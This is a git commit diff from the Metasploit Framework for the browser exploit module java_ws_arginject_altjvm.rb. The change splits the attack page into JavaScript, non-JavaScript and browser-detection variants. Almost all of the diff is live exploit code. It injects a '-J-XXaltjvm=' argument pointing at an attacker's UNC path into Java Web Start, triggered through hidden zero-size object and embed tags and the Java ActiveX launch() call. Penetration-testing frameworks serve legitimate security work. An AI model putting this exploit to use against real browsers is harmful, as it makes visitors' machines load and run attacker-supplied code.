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metasploit-framework
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detect and split JS and non-JS versions 

git-svn-id: file:///home/svn/framework3/trunk@9160 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-04-27 17:45:35 +00:00
parent 49f6fc4d98
commit d91046c470
1 changed files with 60 additions and 24 deletions
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64
modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
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@ -186,8 +186,7 @@ class Metasploit3 < Msf::Exploit::Remote
# #
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") # Always prepare the UNC path, even if we dont use it for this request...
if (datastore['UNCPATH']) if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup unc = datastore['UNCPATH'].dup
else else
@ -196,9 +195,12 @@ class Metasploit3 < Msf::Exploit::Remote
jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp" jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
docbase = rand_text_alphanumeric(8+rand(8)) docbase = rand_text_alphanumeric(8+rand(8))
# for the javascript version # Provide the corresponding HTML page...
var_obj = rand_text_alpha(8+rand(8)) if (request.uri =~ /\.shtml/i)
print_status("Sending JS version HTML to #{cli.peerhost}:#{cli.peerport}...")
# Javascript version...
var_str = rand_text_alpha(8+rand(8)) var_str = rand_text_alpha(8+rand(8))
var_obj = rand_text_alpha(8+rand(8))
var_obj2 = rand_text_alpha(8+rand(8)) var_obj2 = rand_text_alpha(8+rand(8))
var_obj3 = rand_text_alpha(8+rand(8)) var_obj3 = rand_text_alpha(8+rand(8))
js_jnlp = "http: " js_jnlp = "http: "
@ -209,19 +211,12 @@ class Metasploit3 < Msf::Exploit::Remote
clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
html = %Q|<html> html = %Q|<html>
<body> <body>
<object id="#{var_obj}" classid="clsid:#{clsid}" Please wait...
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
<script language="javascript"> <script language="javascript">
var #{var_str} = "#{js_jnlp}"; var #{var_str} = "#{js_jnlp}";
if (window.navigator.appName == "Microsoft Internet Explorer") { if (window.navigator.appName == "Microsoft Internet Explorer") {
var #{var_obj} = document.createElement("OBJECT");
#{var_obj}.classid = "clsid:#{clsid}";
#{var_obj}.launch(#{var_str}); #{var_obj}.launch(#{var_str});
} else { } else {
try { try {
@ -240,6 +235,47 @@ class Metasploit3 < Msf::Exploit::Remote
</body> </body>
</html> </html>
| |
elsif (request.uri =~ /\.htm/i)
print_status("Sending non-JS version HTML to #{cli.peerhost}:#{cli.peerport}...")
clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
clsid = clsids[rand(clsids.length)]
html = %Q|<html>
<body>
Please wait...
<object id="#{var_obj}" classid="clsid:#{clsid}"
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
</html>
|
else
print_status("Sending js detection HTML to #{cli.peerhost}:#{cli.peerport}...")
# NOTE: The JS version is preferred to the HTML version since it works on more JRE versions
js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"
no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"
html = %Q|<html>
<head>
<meta http-equiv="refresh" content="2;#{no_js_uri}" />
</head>
<body>
Please wait...
<script language="javascript">
document.location = "#{js_uri}";
</script>
</body>
</html>
|
# end of detection html
end
send_response_html(cli, html, send_response_html(cli, html,
{ {